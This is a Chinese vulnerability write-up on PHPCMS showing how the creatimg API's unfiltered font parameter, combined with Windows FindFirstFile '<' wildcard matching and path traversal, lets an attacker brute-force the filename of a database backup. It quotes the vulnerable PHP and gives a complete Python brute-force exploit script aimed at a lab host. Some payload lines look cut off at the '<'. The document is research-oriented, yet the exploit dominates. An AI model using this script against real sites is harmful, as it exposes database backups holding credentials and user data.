payload:/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/gv5dmx<<.sql>
我们知道windows的FindFirstFile(API)有个特性就是可以把<
这个漏洞和前一阵子dedecms后台爆破如出一辙,api.php文件的$op变量决定用户的操作
# api.php
define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);
include PHPCMS_PATH.'phpcms/base.php';
......
$op = isset($_GET['op']) && trim($_GET['op']) ? trim($_GET['op']) : exit('Operation can not be empty');
......
if (!preg_match('/([^a-z_]+)/i',$op) && file_exists(PHPCMS_PATH.'api/'.$op.'.php')) {
include PHPCMS_PATH.'api/'.$op.'.php';
......
?>
在/api/creatimg.php文件中,使用了file_exists()函数判断$fontfile文件是否存在,文件存在和不存在的返回信息是不同的,而且$fontfile可以被用户控制,且未过滤.和/等符号,最终导致了漏洞发生。
# /api/creatimg.php
defined('IN_PHPCMS') or exit('No permission resources.');
$txt = trim($_GET['txt']);
if(extension_loaded('gd') && $txt ) {
......
$fontfile = isset($_GET['font']) && !empty($_GET['font']) ? $fontpath.trim($_GET['font']) : $fontpath.'georgia.ttf';
......
if(file_exists($fontfile)){
//计算文本写入后的宽度,右下角 X 位置-左下角 X 位置
$image_info = imagettfbbox($fontsize,0,$fontfile,$txt);
$imageX = $image_info[2]-$image_info[0]+10;
$imageY = $image_info[1]-$image_info[7]+5;
......
爆破脚本如下:
#!/usr/bin/env python
# coding=utf-8
'''/*
* author = Mochazz
* team = 红日安全团队
* env = pyton3
*
*/
'''
import requests
import itertools
characters = "abcdefghjklmnopqrstuvwxyz0123456789_!#"
backup_sql = ""
payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<
url = "http://192.168.0.106"
flag = 0
for num in range(1,7):
if flag:
break
for pre in itertools.permutations(characters,num):
pre = ''.join(list(pre))
payload = payload.format(location=pre)
r = requests.get(url+payload)
if r.status_code == 200 and "PNG" in r.text:
flag = 1
backup_sql = pre
payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<
break
else:
payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<
print("[+] 前缀为:",backup_sql)
flag = 0
for i in range(30):
if flag:
break
for ch in characters:
if ch == characters[-1]:
flag = 1
break
payload = payload.format(location=backup_sql+ch)
r = requests.get(url + payload)
if r.status_code == 200 and "PNG" in r.text:
backup_sql += ch
print("[+] ",backup_sql)
payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<
break
else:
payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<
print("备份sql文件地址为:",backup_sql+".sql")
效果如下:
后记:
在测试的过程中,由于本地php环境出现问题,导致复现一直没成功,最终重装环境解决问题。实际上,如果这个程序加以修改,理论上是可以利用这个漏洞遍历整个phpcms目录文件结构的,只要前缀重复的不多(例如get_file.php和get_img.php的重复前缀为get_)。
相关文章: